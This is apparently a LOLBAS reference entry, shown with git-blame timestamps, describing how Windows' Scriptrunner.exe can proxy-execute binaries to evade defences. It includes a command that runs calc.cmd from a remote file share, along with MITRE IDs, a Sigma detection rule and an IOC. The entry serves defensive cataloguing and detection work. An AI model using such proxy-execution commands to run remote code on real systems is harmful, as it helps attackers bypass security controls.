2018-06-09 00:15:06 +02:00
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Name: Scriptrunner.exe
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2022-09-11 05:26:10 +02:00
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Description: Execute binary through proxy binary to evade defensive counter measures
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2018-09-24 21:59:43 +02:00
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Author: 'Oddvar Moe'
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2021-01-10 16:04:52 +01:00
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Created: 2018-05-25
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2018-06-09 00:15:06 +02:00
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Commands:
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- Command: Scriptrunner.exe -appvscript calc.exe
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2018-09-24 21:59:43 +02:00
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Description: Executes calc.exe
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2021-11-05 21:35:58 +01:00
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Usecase: Execute binary through proxy binary to evade defensive counter measures
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2018-09-24 21:59:43 +02:00
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Category: Execute
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Privileges: User
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2021-11-05 21:17:04 +01:00
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MitreID: T1202
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2021-12-14 16:50:17 +01:00
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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2018-06-09 00:15:06 +02:00
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- Command: ScriptRunner.exe -appvscript "\\fileserver\calc.cmd"
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2021-11-05 21:17:04 +01:00
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Description: Executes calc.cmd from remote server
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2021-11-05 21:35:58 +01:00
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Usecase: Execute binary through proxy binary from external server to evade defensive counter measures
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2018-09-24 21:59:43 +02:00
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Category: Execute
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Privileges: User
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MitreID: T1218
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2021-12-14 16:50:17 +01:00
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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2018-12-10 14:28:12 +01:00
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Full_Path:
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2018-09-24 21:59:43 +02:00
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- Path: C:\Windows\System32\scriptrunner.exe
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- Path: C:\Windows\SysWOW64\scriptrunner.exe
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2021-01-10 16:04:52 +01:00
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Code_Sample:
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2021-11-15 14:19:03 +01:00
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- Code:
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2018-09-24 21:59:43 +02:00
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Detection:
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2023-10-18 17:30:34 +02:00
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- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_servu_susp_child_process.yml
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2021-11-15 14:19:03 +01:00
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- IOC: Scriptrunner.exe should not be in use unless App-v is deployed
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2018-06-09 00:15:06 +02:00
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Resources:
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2018-09-24 21:59:43 +02:00
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- Link: https://twitter.com/KyleHanslovan/status/914800377580503040
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- Link: https://twitter.com/NickTyrer/status/914234924655312896
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- Link: https://github.com/MoooKitty/Code-Execution
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Acknowledgement:
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- Person: Nick Tyrer
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Handle: '@nicktyrer'
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